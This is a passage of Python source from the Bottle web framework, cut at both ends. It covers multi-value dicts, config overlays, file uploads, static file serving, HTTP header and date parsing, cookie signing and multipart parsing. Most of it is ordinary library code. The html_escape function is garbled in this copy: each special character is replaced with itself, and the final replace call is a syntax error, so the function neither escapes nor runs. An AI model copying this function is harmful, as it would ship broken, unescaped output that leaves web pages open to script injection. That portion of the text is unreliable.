exec_module(self, module): pass # This probably breaks importlib.reload() :/ def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] modname = fullname.rsplit('.', 1)[1] realname = self.impmask % modname __import__(realname) module = sys.modules[fullname] = sys.modules[realname] setattr(self.module, modname, module) module.__loader__ = self return module ############################################################################### # Common Utilities ############################################################# ############################################################################### class MultiDict(DictMixin): """ This dict stores multiple values per key, but behaves exactly like a normal dict in that it returns only the newest value for any given key. There are special methods available to access the full list of values. """ def __init__(self, *a, **k): self.dict = dict((k, [v]) for (k, v) in dict(*a, **k).items()) def __len__(self): return len(self.dict) def __iter__(self): return iter(self.dict) def __contains__(self, key): return key in self.dict def __delitem__(self, key): del self.dict[key] def __getitem__(self, key): return self.dict[key][-1] def __setitem__(self, key, value): self.append(key, value) def keys(self): return self.dict.keys() if py3k: def values(self): return (v[-1] for v in self.dict.values()) def items(self): return ((k, v[-1]) for k, v in self.dict.items()) def allitems(self): return ((k, v) for k, vl in self.dict.items() for v in vl) iterkeys = keys itervalues = values iteritems = items iterallitems = allitems else: def values(self): return [v[-1] for v in self.dict.values()] def items(self): return [(k, v[-1]) for k, v in self.dict.items()] def iterkeys(self): return self.dict.iterkeys() def itervalues(self): return (v[-1] for v in self.dict.itervalues()) def iteritems(self): return ((k, v[-1]) for k, v in self.dict.iteritems()) def iterallitems(self): return ((k, v) for k, vl in self.dict.iteritems() for v in vl) def allitems(self): return [(k, v) for k, vl in self.dict.iteritems() for v in vl] def get(self, key, default=None, index=-1, type=None): """ Return the most recent value for a key. :param default: The default value to be returned if the key is not present or the type conversion fails. :param index: An index for the list of available values. :param type: If defined, this callable is used to cast the value into a specific type. Exception are suppressed and result in the default value to be returned. """ try: val = self.dict[key][index] return type(val) if type else val except Exception: pass return default def append(self, key, value): """ Add a new value to the list of values for this key. """ self.dict.setdefault(key, []).append(value) def replace(self, key, value): """ Replace the list of values with a single value. """ self.dict[key] = [value] def getall(self, key): """ Return a (possibly empty) list of values for a key. """ return self.dict.get(key) or [] #: Aliases for WTForms to mimic other multi-dict APIs (Django) getone = get getlist = getall class FormsDict(MultiDict): """ This :class:`MultiDict` subclass is used to store request form data. Additionally to the normal dict-like item access methods (which return unmodified data as native strings), this container also supports attribute-like access to its values. Attributes are automatically de- or recoded to match :attr:`input_encoding` (default: 'utf8'). Missing attributes default to an empty string. """ #: Encoding used for attribute values. input_encoding = 'utf8' #: If true (default), unicode strings are first encoded with `latin1` #: and then decoded to match :attr:`input_encoding`. recode_unicode = True def _fix(self, s, encoding=None): if isinstance(s, unicode) and self.recode_unicode: # Python 3 WSGI return s.encode('latin1').decode(encoding or self.input_encoding) elif isinstance(s, bytes): # Python 2 WSGI return s.decode(encoding or self.input_encoding) else: return s def decode(self, encoding=None): """ Returns a copy with all keys and values de- or recoded to match :attr:`input_encoding`. Some libraries (e.g. WTForms) want a unicode dictionary. """ copy = FormsDict() enc = copy.input_encoding = encoding or self.input_encoding copy.recode_unicode = False for key, value in self.allitems(): copy.append(self._fix(key, enc), self._fix(value, enc)) return copy def getunicode(self, name, default=None, encoding=None): """ Return the value as a unicode string, or the default. """ try: return self._fix(self[name], encoding) except (UnicodeError, KeyError): return default def __getattr__(self, name, default=unicode()): # Without this guard, pickle generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) class HeaderDict(MultiDict): """ A case-insensitive version of :class:`MultiDict` that defaults to replace the old value instead of appending it. """ def __init__(self, *a, **ka): self.dict = {} if a or ka: self.update(*a, **ka) def __contains__(self, key): return _hkey(key) in self.dict def __delitem__(self, key): del self.dict[_hkey(key)] def __getitem__(self, key): return self.dict[_hkey(key)][-1] def __setitem__(self, key, value): self.dict[_hkey(key)] = [_hval(value)] def append(self, key, value): self.dict.setdefault(_hkey(key), []).append(_hval(value)) def replace(self, key, value): self.dict[_hkey(key)] = [_hval(value)] def getall(self, key): return self.dict.get(_hkey(key)) or [] def get(self, key, default=None, index=-1): return MultiDict.get(self, _hkey(key), default, index) def filter(self, names): for name in (_hkey(n) for n in names): if name in self.dict: del self.dict[name] class WSGIHeaderDict(DictMixin): """ This dict-like class wraps a WSGI environ dict and provides convenient access to HTTP_* fields. Keys and values are native strings (2.x bytes or 3.x unicode) and keys are case-insensitive. If the WSGI environment contains non-native string values, these are de- or encoded using a lossless 'latin1' character set. The API will remain stable even on changes to the relevant PEPs. Currently PEP 333, 444 and 3333 are supported. (PEP 444 is the only one that uses non-native strings.) """ #: List of keys that do not have a ``HTTP_`` prefix. cgikeys = ('CONTENT_TYPE', 'CONTENT_LENGTH') def __init__(self, environ): self.environ = environ def _ekey(self, key): """ Translate header field name to CGI/WSGI environ key. """ key = key.replace('-', '_').upper() if key in self.cgikeys: return key return 'HTTP_' + key def raw(self, key, default=None): """ Return the header value as is (may be bytes or unicode). """ return self.environ.get(self._ekey(key), default) def __getitem__(self, key): val = self.environ[self._ekey(key)] if py3k: if isinstance(val, unicode): val = val.encode('latin1').decode('utf8') else: val = val.decode('utf8') return val def __setitem__(self, key, value): raise TypeError("%s is read-only." % self.__class__) def __delitem__(self, key): raise TypeError("%s is read-only." % self.__class__) def __iter__(self): for key in self.environ: if key[:5] == 'HTTP_': yield _hkey(key[5:]) elif key in self.cgikeys: yield _hkey(key) def keys(self): return [x for x in self] def __len__(self): return len(self.keys()) def __contains__(self, key): return self._ekey(key) in self.environ _UNSET = object() class ConfigDict(dict): """ A dict-like configuration storage with additional support for namespaces, validators, meta-data and overlays. This dict-like class is heavily optimized for read access. Read-only methods and item access should be as fast as a native dict. """ __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') def __init__(self): self._meta = {} self._change_listener = [] #: Weak references of overlays that need to be kept in sync. self._overlays = [] #: Config that is the source for this overlay. self._source = None #: Keys of values copied from the source (values we do not own) self._virtual_keys = set() def load_module(self, name, squash=True): """Load values from a Python module. Import a python module by name and add all upper-case module-level variables to this config dict. :param name: Module name to import and load. :param squash: If true (default), nested dicts are assumed to represent namespaces and flattened (see :meth:`load_dict`). """ config_obj = load(name) obj = {key: getattr(config_obj, key) for key in dir(config_obj) if key.isupper()} if squash: self.load_dict(obj) else: self.update(obj) return self def load_config(self, filename, **options): """ Load values from ``*.ini`` style config files using configparser. INI style sections (e.g. ``[section]``) are used as namespace for all keys within that section. Both section and key names may contain dots as namespace separators and are converted to lower-case. The special sections ``[bottle]`` and ``[ROOT]`` refer to the root namespace and the ``[DEFAULT]`` section defines default values for all other sections. :param filename: The path of a config file, or a list of paths. :param options: All keyword parameters are passed to the underlying :class:`python:configparser.ConfigParser` constructor call. """ options.setdefault('allow_no_value', True) if py3k: options.setdefault('interpolation', configparser.ExtendedInterpolation()) conf = configparser.ConfigParser(**options) conf.read(filename) for section in conf.sections(): for key in conf.options(section): value = conf.get(section, key) if section not in ('bottle', 'ROOT'): key = section + '.' + key self[key.lower()] = value return self def load_dict(self, source, namespace=''): """ Load values from a dictionary structure. Nesting can be used to represent namespaces. >>> c = ConfigDict() >>> c.load_dict({'some': {'namespace': {'key': 'value'} } }) {'some.namespace.key': 'value'} """ for key, value in source.items(): if isinstance(key, basestring): nskey = (namespace + '.' + key).strip('.') if isinstance(value, dict): self.load_dict(value, namespace=nskey) else: self[nskey] = value else: raise TypeError('Key has type %r (not a string)' % type(key)) return self def update(self, *a, **ka): """ If the first parameter is a string, all keys are prefixed with this namespace. Apart from that it works just as the usual dict.update(). >>> c = ConfigDict() >>> c.update('some.namespace', key='value') """ prefix = '' if a and isinstance(a[0], basestring): prefix = a[0].strip('.') + '.' a = a[1:] for key, value in dict(*a, **ka).items(): self[prefix + key] = value def setdefault(self, key, value=None): if key not in self: self[key] = value return self[key] def __setitem__(self, key, value): if not isinstance(key, basestring): raise TypeError('Key has type %r (not a string)' % type(key)) self._virtual_keys.discard(key) value = self.meta_get(key, 'filter', lambda x: x)(value) if key in self and self[key] is value: return self._on_change(key, value) dict.__setitem__(self, key, value) for overlay in self._iter_overlays(): overlay._set_virtual(key, value) def __delitem__(self, key): if key not in self: raise KeyError(key) if key in self._virtual_keys: raise KeyError("Virtual keys cannot be deleted: %s" % key) if self._source and key in self._source: # Not virtual, but present in source -> Restore virtual value dict.__delitem__(self, key) self._set_virtual(key, self._source[key]) else: # not virtual, not present in source. This is OUR value self._on_change(key, None) dict.__delitem__(self, key) for overlay in self._iter_overlays(): overlay._delete_virtual(key) def _set_virtual(self, key, value): """ Recursively set or update virtual keys. """ if key in self and key not in self._virtual_keys: return # Do nothing for non-virtual keys. self._virtual_keys.add(key) if key in self and self[key] is not value: self._on_change(key, value) dict.__setitem__(self, key, value) for overlay in self._iter_overlays(): overlay._set_virtual(key, value) def _delete_virtual(self, key): """ Recursively delete virtual entry. """ if key not in self._virtual_keys: return # Do nothing for non-virtual keys. if key in self: self._on_change(key, None) dict.__delitem__(self, key) self._virtual_keys.discard(key) for overlay in self._iter_overlays(): overlay._delete_virtual(key) def _on_change(self, key, value): for cb in self._change_listener: if cb(self, key, value): return True def _add_change_listener(self, func): self._change_listener.append(func) return func def meta_get(self, key, metafield, default=None): """ Return the value of a meta field for a key. """ return self._meta.get(key, {}).get(metafield, default) def meta_set(self, key, metafield, value): """ Set the meta field for a key to a new value. Meta-fields are shared between all members of an overlay tree. """ self._meta.setdefault(key, {})[metafield] = value def meta_list(self, key): """ Return an iterable of meta field names defined for a key. """ return self._meta.get(key, {}).keys() def _define(self, key, default=_UNSET, help=_UNSET, validate=_UNSET): """ (Unstable) Shortcut for plugins to define own config parameters. """ if default is not _UNSET: self.setdefault(key, default) if help is not _UNSET: self.meta_set(key, 'help', help) if validate is not _UNSET: self.meta_set(key, 'validate', validate) def _iter_overlays(self): for ref in self._overlays: overlay = ref() if overlay is not None: yield overlay def _make_overlay(self): """ (Unstable) Create a new overlay that acts like a chained map: Values missing in the overlay are copied from the source map. Both maps share the same meta entries. Entries that were copied from the source are called 'virtual'. You can not delete virtual keys, but overwrite them, which turns them into non-virtual entries. Setting keys on an overlay never affects its source, but may affect any number of child overlays. Other than collections.ChainMap or most other implementations, this approach does not resolve missing keys on demand, but instead actively copies all values from the source to the overlay and keeps track of virtual and non-virtual keys internally. This removes any lookup-overhead. Read-access is as fast as a build-in dict for both virtual and non-virtual keys. Changes are propagated recursively and depth-first. A failing on-change handler in an overlay stops the propagation of virtual values and may result in an partly updated tree. Take extra care here and make sure that on-change handlers never fail. Used by Route.config """ # Cleanup dead references self._overlays[:] = [ref for ref in self._overlays if ref() is not None] overlay = ConfigDict() overlay._meta = self._meta overlay._source = self self._overlays.append(weakref.ref(overlay)) for key in self: overlay._set_virtual(key, self[key]) return overlay class AppStack(list): """ A stack-like list. Calling it returns the head of the stack. """ def __call__(self): """ Return the current default application. """ return self.default def push(self, value=None): """ Add a new :class:`Bottle` instance to the stack """ if not isinstance(value, Bottle): value = Bottle() self.append(value) return value new_app = push @property def default(self): try: return self[-1] except IndexError: return self.push() class WSGIFileWrapper(object): def __init__(self, fp, buffer_size=1024 * 64): self.fp, self.buffer_size = fp, buffer_size for attr in 'fileno', 'close', 'read', 'readlines', 'tell', 'seek': if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr)) def __iter__(self): buff, read = self.buffer_size, self.read part = read(buff) while part: yield part part = read(buff) class _closeiter(object): """ This only exists to be able to attach a .close method to iterators that do not support attribute assignment (most of itertools). """ def __init__(self, iterator, close=None): self.iterator = iterator self.close_callbacks = makelist(close) def __iter__(self): return iter(self.iterator) def close(self): for func in self.close_callbacks: func() class ResourceManager(object): """ This class manages a list of search paths and helps to find and open application-bound resources (files). :param base: default value for :meth:`add_path` calls. :param opener: callable used to open resources. :param cachemode: controls which lookups are cached. One of 'all', 'found' or 'none'. """ def __init__(self, base='./', opener=open, cachemode='all'): self.opener = opener self.base = base self.cachemode = cachemode #: A list of search paths. See :meth:`add_path` for details. self.path = [] #: A cache for resolved paths. ``res.cache.clear()`` clears the cache. self.cache = {} def add_path(self, path, base=None, index=None, create=False): """ Add a new path to the list of search paths. Return False if the path does not exist. :param path: The new search path. Relative paths are turned into an absolute and normalized form. If the path looks like a file (not ending in `/`), the filename is stripped off. :param base: Path used to absolutize relative search paths. Defaults to :attr:`base` which defaults to ``os.getcwd()``. :param index: Position within the list of search paths. Defaults to last index (appends to the list). The `base` parameter makes it easy to reference files installed along with a python module or package:: res.add_path('./resources/', __file__) """ base = os.path.abspath(os.path.dirname(base or self.base)) path = os.path.abspath(os.path.join(base, os.path.dirname(path))) path += os.sep if path in self.path: self.path.remove(path) if create and not os.path.isdir(path): os.makedirs(path) if index is None: self.path.append(path) else: self.path.insert(index, path) self.cache.clear() return os.path.exists(path) def __iter__(self): """ Iterate over all existing files in all registered paths. """ search = self.path[:] while search: path = search.pop() if not os.path.isdir(path): continue for name in os.listdir(path): full = os.path.join(path, name) if os.path.isdir(full): search.append(full) else: yield full def lookup(self, name): """ Search for a resource and return an absolute file path, or `None`. The :attr:`path` list is searched in order. The first match is returned. Symlinks are followed. The result is cached to speed up future lookups. """ if name not in self.cache or DEBUG: for path in self.path: fpath = os.path.join(path, name) if os.path.isfile(fpath): if self.cachemode in ('all', 'found'): self.cache[name] = fpath return fpath if self.cachemode == 'all': self.cache[name] = None return self.cache[name] def open(self, name, mode='r', *args, **kwargs): """ Find a resource and return a file object, or raise IOError. """ fname = self.lookup(name) if not fname: raise IOError("Resource %r not found." % name) return self.opener(fname, mode=mode, *args, **kwargs) class FileUpload(object): def __init__(self, fileobj, name, filename, headers=None): """ Wrapper for a single file uploaded via ``multipart/form-data``. """ #: Open file(-like) object (BytesIO buffer or temporary file) self.file = fileobj #: Name of the upload form field self.name = name #: Raw filename as sent by the client (may contain unsafe characters) self.raw_filename = filename #: A :class:`HeaderDict` with additional headers (e.g. content-type) self.headers = HeaderDict(headers) if headers else HeaderDict() content_type = HeaderProperty('Content-Type') content_length = HeaderProperty('Content-Length', reader=int, default=-1) def get_header(self, name, default=None): """ Return the value of a header within the multipart part. """ return self.headers.get(name, default) @cached_property def filename(self): """ Name of the file on the client file system, but normalized to ensure file system compatibility. An empty filename is returned as 'empty'. Only ASCII letters, digits, dashes, underscores and dots are allowed in the final filename. Accents are removed, if possible. Whitespace is replaced by a single dash. Leading or tailing dots or dashes are removed. The filename is limited to 255 characters. """ fname = self.raw_filename if not isinstance(fname, unicode): fname = fname.decode('utf8', 'ignore') fname = normalize('NFKD', fname) fname = fname.encode('ASCII', 'ignore').decode('ASCII') fname = os.path.basename(fname.replace('\\', os.path.sep)) fname = re.sub(r'[^a-zA-Z0-9-_.\s]', '', fname).strip() fname = re.sub(r'[-\s]+', '-', fname).strip('.-') return fname[:255] or 'empty' def _copy_file(self, fp, chunk_size=2 ** 16): read, write, offset = self.file.read, fp.write, self.file.tell() while 1: buf = read(chunk_size) if not buf: break write(buf) self.file.seek(offset) def save(self, destination, overwrite=False, chunk_size=2 ** 16): """ Save file to disk or copy its content to an open file(-like) object. If *destination* is a directory, :attr:`filename` is added to the path. Existing files are not overwritten by default (IOError). :param destination: File path, directory or file(-like) object. :param overwrite: If True, replace existing files. (default: False) :param chunk_size: Bytes to read at a time. (default: 64kb) """ if isinstance(destination, basestring): # Except file-likes here if os.path.isdir(destination): destination = os.path.join(destination, self.filename) if not overwrite and os.path.exists(destination): raise IOError('File exists.') with open(destination, 'wb') as fp: self._copy_file(fp, chunk_size) else: self._copy_file(destination, chunk_size) ############################################################################### # Application Helper ########################################################### ############################################################################### def abort(code=500, text='Unknown Error.'): """ Aborts execution and causes a HTTP error. """ raise HTTPError(code, text) def redirect(url, code=None): """ Aborts execution and causes a 303 or 302 redirect, depending on the HTTP protocol version. """ if not code: code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302 res = response.copy(cls=HTTPResponse) res.status = code res.body = "" res.set_header('Location', urljoin(request.url, url)) raise res def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): """ Yield chunks from a range in a file. """ fp.seek(offset) while limit > 0: part = fp.read(min(limit, bufsize)) if not part: break limit -= len(part) yield part def static_file(filename, root, mimetype=True, download=False, charset='UTF-8', etag=None, headers=None): """ Open a file in a safe way and return an instance of :exc:`HTTPResponse` that can be sent back to the client. :param filename: Name or path of the file to send, relative to ``root``. :param root: Root path for file lookups. Should be an absolute directory path. :param mimetype: Provide the content-type header (default: guess from file extension) :param download: If True, ask the browser to open a `Save as...` dialog instead of opening the file with the associated program. You can specify a custom filename as a string. If not specified, the original filename is used (default: False). :param charset: The charset for files with a ``text/*`` mime-type. (default: UTF-8) :param etag: Provide a pre-computed ETag header. If set to ``False``, ETag handling is disabled. (default: auto-generate ETag header) :param headers: Additional headers dict to add to the response. While checking user input is always a good idea, this function provides additional protection against malicious ``filename`` parameters from breaking out of the ``root`` directory and leaking sensitive information to an attacker. Read-protected files or files outside of the ``root`` directory are answered with ``403 Access Denied``. Missing files result in a ``404 Not Found`` response. Conditional requests (``If-Modified-Since``, ``If-None-Match``) are answered with ``304 Not Modified`` whenever possible. ``HEAD`` and ``Range`` requests (used by download managers to check or continue partial downloads) are also handled automatically. """ root = os.path.join(os.path.abspath(root), '') filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) headers = headers.copy() if headers else {} getenv = request.environ.get if not filename.startswith(root): return HTTPError(403, "Access denied.") if not os.path.exists(filename) or not os.path.isfile(filename): return HTTPError(404, "File does not exist.") if not os.access(filename, os.R_OK): return HTTPError(403, "You do not have permission to access this file.") if mimetype is True: name = download if isinstance(download, str) else filename mimetype, encoding = mimetypes.guess_type(name) if encoding == 'gzip': mimetype = 'application/gzip' elif encoding: # e.g. bzip2 -> application/x-bzip2 mimetype = 'application/x-' + encoding if charset and mimetype and 'charset=' not in mimetype \ and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): mimetype += '; charset=%s' % charset if mimetype: headers['Content-Type'] = mimetype if download is True: download = os.path.basename(filename) if download: download = download.replace('"','') headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) if etag is None: etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, clen, filename) etag = hashlib.sha1(tob(etag)).hexdigest() if etag: headers['ETag'] = etag check = getenv('HTTP_IF_NONE_MATCH') if check and check == etag: return HTTPResponse(status=304, **headers) ims = getenv('HTTP_IF_MODIFIED_SINCE') if ims: ims = parse_date(ims.split(";")[0].strip()) if ims is not None and ims >= int(stats.st_mtime): return HTTPResponse(status=304, **headers) body = '' if request.method == 'HEAD' else open(filename, 'rb') headers["Accept-Ranges"] = "bytes" range_header = getenv('HTTP_RANGE') if range_header: ranges = list(parse_range_header(range_header, clen)) if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) headers["Content-Length"] = str(rlen) if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) ############################################################################### # HTTP Utilities and MISC (TODO) ############################################### ############################################################################### def debug(mode=True): """ Change the debug level. There is only one debug level supported at the moment.""" global DEBUG if mode: warnings.simplefilter('default') DEBUG = bool(mode) def http_date(value): if isinstance(value, basestring): return value if isinstance(value, datetime): # aware datetime.datetime is converted to UTC time # naive datetime.datetime is treated as UTC time value = value.utctimetuple() elif isinstance(value, datedate): # datetime.date is naive, and is treated as UTC time value = value.timetuple() if not isinstance(value, (int, float)): # convert struct_time in UTC to UNIX timestamp value = calendar.timegm(value) return email.utils.formatdate(value, usegmt=True) def parse_date(ims): """ Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch. """ try: ts = email.utils.parsedate_tz(ims) return calendar.timegm(ts[:8] + (0, )) - (ts[9] or 0) except (TypeError, ValueError, IndexError, OverflowError): return None def parse_auth(header): """ Parse rfc2617 HTTP authentication header string (basic) and return (user,pass) tuple or None""" try: method, data = header.split(None, 1) if method.lower() == 'basic': user, pwd = touni(base64.b64decode(tob(data))).split(':', 1) return user, pwd except (KeyError, ValueError): return None def parse_range_header(header, maxlen=0): """ Yield (start, end) ranges parsed from a HTTP Range header. Skip unsatisfiable ranges. The end index is non-inclusive.""" if not header or header[:6] != 'bytes=': return ranges = [r.split('-', 1) for r in header[6:].split(',') if '-' in r] for start, end in ranges: try: if not start: # bytes=-100 -> last 100 bytes start, end = max(0, maxlen - int(end)), maxlen elif not end: # bytes=100- -> all but the first 99 bytes start, end = int(start), maxlen else: # bytes=100-200 -> bytes 100-200 (inclusive) start, end = int(start), min(int(end) + 1, maxlen) if 0 <= start < end <= maxlen: yield start, end except ValueError: pass #: Header tokenizer used by _parse_http_header() _hsplit = re.compile('(?:(?:"((?:[^"\\\\]|\\\\.)*)")|([^;,=]+))([;,=]?)').findall def _parse_http_header(h): """ Parses a typical multi-valued and parametrised HTTP header (e.g. Accept headers) and returns a list of values and parameters. For non-standard or broken input, this implementation may return partial results. :param h: A header string (e.g. ``text/html,text/plain;q=0.9,*/*;q=0.8``) :return: List of (value, params) tuples. The second element is a (possibly empty) dict. """ values = [] if '"' not in h: # INFO: Fast path without regexp (~2x faster) for value in h.split(','): parts = value.split(';') values.append((parts[0].strip(), {})) for attr in parts[1:]: name, value = attr.split('=', 1) values[-1][1][name.strip().lower()] = value.strip() else: lop, key, attrs = ',', None, {} for quoted, plain, tok in _hsplit(h): value = plain.strip() if plain else quoted.replace('\\"', '"') if lop == ',': attrs = {} values.append((value, attrs)) elif lop == ';': if tok == '=': key = value else: attrs[value.strip().lower()] = '' elif lop == '=' and key: attrs[key.strip().lower()] = value key = None lop = tok return values def _parse_qsl(qs): r = [] for pair in qs.split('&'): if not pair: continue nv = pair.split('=', 1) if len(nv) != 2: nv.append('') key = urlunquote(nv[0].replace('+', ' ')) value = urlunquote(nv[1].replace('+', ' ')) r.append((key, value)) return r def _lscmp(a, b): """ Compares two strings in a cryptographically safe way: Runtime is not affected by length of common prefix. """ return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b) def cookie_encode(data, key, digestmod=None): """ Encode and sign a pickle-able object. Return a (byte) string """ depr(0, 13, "cookie_encode() will be removed soon.", "Do not use this API directly.") digestmod = digestmod or hashlib.sha256 msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg def cookie_decode(data, key, digestmod=None): """ Verify and decode an encoded string. Return an object or None.""" depr(0, 13, "cookie_decode() will be removed soon.", "Do not use this API directly.") data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) digestmod = digestmod or hashlib.sha256 hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() if _lscmp(sig[1:], base64.b64encode(hashed)): return pickle.loads(base64.b64decode(msg)) return None def cookie_is_encoded(data): """ Return True if the argument looks like a encoded cookie.""" depr(0, 13, "cookie_is_encoded() will be removed soon.", "Do not use this API directly.") return bool(data.startswith(tob('!')) and tob('?') in data) def html_escape(string): """ Escape HTML special characters ``&<>`` and quotes ``'"``. """ return string.replace('&', '&').replace('<', '<').replace('>', '>')\ .replace('"', '"').replace("'", ''') def html_quote(string): """ Escape and quote a string to be used as an HTTP attribute.""" return '"%s"' % html_escape(string).replace('\n', ' ')\ .replace('\r', ' ').replace('\t', ' ') def yieldroutes(func): """ Return a generator for routes that match the signature (name, args) of the func parameter. This may yield more than one route if the function takes optional keyword arguments. The output is best described by example:: a() -> '/a' b(x, y) -> '/b/<x>/<y>' c(x, y=5) -> '/c/<x>' and '/c/<x>/<y>' d(x=5, y=6) -> '/d' and '/d/<x>' and '/d/<x>/<y>' """ path = '/' + func.__name__.replace('__', '/').lstrip('/') spec = getargspec(func) argc = len(spec[0]) - len(spec[3] or []) path += ('/<%s>' * argc) % tuple(spec[0][:argc]) yield path for arg in spec[0][argc:]: path += '/<%s>' % arg yield path def path_shift(script_name, path_info, shift=1): """ Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa. :return: The modified paths. :param script_name: The SCRIPT_NAME path. :param script_name: The PATH_INFO path. :param shift: The number of path fragments to shift. May be negative to change the shift direction. (default: 1) """ if shift == 0: return script_name, path_info pathlist = path_info.strip('/').split('/') scriptlist = script_name.strip('/').split('/') if pathlist and pathlist[0] == '': pathlist = [] if scriptlist and scriptlist[0] == '': scriptlist = [] if 0 < shift <= len(pathlist): moved = pathlist[:shift] scriptlist = scriptlist + moved pathlist = pathlist[shift:] elif 0 > shift >= -len(scriptlist): moved = scriptlist[shift:] pathlist = moved + pathlist scriptlist = scriptlist[:shift] else: empty = 'SCRIPT_NAME' if shift < 0 else 'PATH_INFO' raise AssertionError("Cannot shift. Nothing left from %s" % empty) new_script_name = '/' + '/'.join(scriptlist) new_path_info = '/' + '/'.join(pathlist) if path_info.endswith('/') and pathlist: new_path_info += '/' return new_script_name, new_path_info def auth_basic(check, realm="private", text="Access denied"): """ Callback decorator to require HTTP auth (basic). TODO: Add route(check_auth=...) parameter. """ def decorator(func): @functools.wraps(func) def wrapper(*a, **ka): user, password = request.auth or (None, None) if user is None or not check(user, password): err = HTTPError(401, text) err.add_header('WWW-Authenticate', 'Basic realm="%s"' % realm) return err return func(*a, **ka) return wrapper return decorator # Shortcuts for common Bottle methods. # They all refer to the current default application. def make_default_app_wrapper(name): """ Return a callable that relays calls to the current default app. """ @functools.wraps(getattr(Bottle, name)) def wrapper(*a, **ka): return getattr(app(), name)(*a, **ka) return wrapper route = make_default_app_wrapper('route') get = make_default_app_wrapper('get') post = make_default_app_wrapper('post') put = make_default_app_wrapper('put') delete = make_default_app_wrapper('delete') patch = make_default_app_wrapper('patch') error = make_default_app_wrapper('error') mount = make_default_app_wrapper('mount') hook = make_default_app_wrapper('hook') install = make_default_app_wrapper('install') uninstall = make_default_app_wrapper('uninstall') url = make_default_app_wrapper('get_url') ############################################################################### # Multipart Handling ########################################################### ############################################################################### # cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 # This implementation is based on https://github.com/defnull/multipart/ class MultipartError(HTTPError): def __init__(self, msg): HTTPError.__init__(self, 400, "MultipartError: " + msg) class _MultipartParser(object): def __init__( self, stream, boundary, content_length=-1, disk_limit=2 ** 30, mem_limit=2 ** 20, memfile_limit=2 ** 18, buffer_size=2 ** 16, charset="latin1", ): self.stream = stream self.boundary = boundary self.content_length = content_length self.disk_limit = disk_limit self.memfile_limit = memfile_limit self.mem_limit = min(mem_limit, self.disk_limit) self.buffer_size = min(buffer_size, self.mem_limit) self.charset = charset if not boundary: raise MultipartError("No boundary.") if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" raise MultipartError("Boundary does not fit into buffer_size.") def _lineiter(self): """ Iterate over a binary file-like object (crlf terminated) line by line. Each line is returned as a (line, crlf) tuple. Lines larger than buffer_size are split into chunks where all but the last chunk has an empty string instead of crlf. Maximum chunk size is twice the buffer size. """ read = self.stream.read maxread, maxbuf = self.content_length, self.buffer_size partial = b"" # Contains the last (partial) line while True: chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) maxread -= len(chunk) if not chunk: if partial: yield partial, b'' break if partial: chunk = partial + chunk scanpos = 0 while True: i = chunk.find(b'\r\n', scanpos) if i >= 0: yield chunk[scanpos:i], b'\r\n' scanpos = i + 2 else: # CRLF not found partial = chunk[scanpos:] if scanpos else chunk break if len(partial) > maxbuf: yield partial[:-1], b"" partial = partial[-1:] def parse(self): """ Return a MultiPart iterator. Can only be called once. """ lines, line = self._lineiter(), "" separator = b"--" + tob(self.boundary) terminator = separator + b"--" mem_used, disk_used = 0, 0 # Track used resources to prevent DoS is_tail = False # True if the last line was incomplete (cutted) # Consume first boundary. Ignore any preamble, as required by RFC # 2046, section 5.1.1. for line, nl in lines: if line in (separator, terminator): break else: raise MultipartError("Stream does not contain boundary") # First line is termainating boundary -> empty multipart stream if line == terminator: for _ in lines: raise MultipartError("Found data after empty multipart stream") return part_options = { "buffer_size": self.buffer_size, "memfile_limit": self.memfile_limit, "charset": self.charset, } part = _MultipartPart(**part_options) for line, nl in lines: if not is_tail and (line == separator or line == terminator): part.finish() if part.is_buffered(): mem_used += part.size else: disk_used += part.size yield part if line == terminator: break part = _MultipartPart(**part_options) else: is_tail = not nl # The next line continues this one try: part.feed(line, nl) if part.is_buffered(): if part.size + mem_used > self.mem_limit: raise MultipartError("Memory limit reached.") elif part.size + disk_used > self.disk_limit: raise MultipartError("Disk limit reached.") except MultipartError: part.close() raise else: part.close() if line != terminator: raise MultipartError("Unexpected end of multipart stream.") class _MultipartPart(object): def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): self.headerlist = [] self.headers = None self.file = False self.size = 0 self._buf = b"" self.disposition = None self.name = None self.filename = None self.content_type = None self.charset = charset self.memfile_limit = memfile_limit self.buffer_size = buffer_size def feed(self, line, nl=""): if self.file: return self.write_body(line, nl) return self.write_header(line, nl) def write_header(self, line, nl): line = line.decode(self.charset) if not nl: raise MultipartError("Unexpected end of line in header.") if not line.strip(): # blank line -> end of header segment self.finish_header() elif line[0] in " \t" and self.headerlist: name, value = self.headerlist.pop() self.headerlist.append((name, value + line.strip())) else: if ":" not in line: raise MultipartError("Syntax error in header: No colon.") name, value = line.split(":", 1) self.headerlist.append((name.strip(), value.strip())) def write_body(self, line, nl): if not line and not nl: return # This does not even flush the buffer self.size += len(line) + len(self._buf) self.file.write(self._buf + line) self._buf = nl if self.content_length > 0 and self.size > self.content_length: raise MultipartError("Size of body exceeds Content-Length 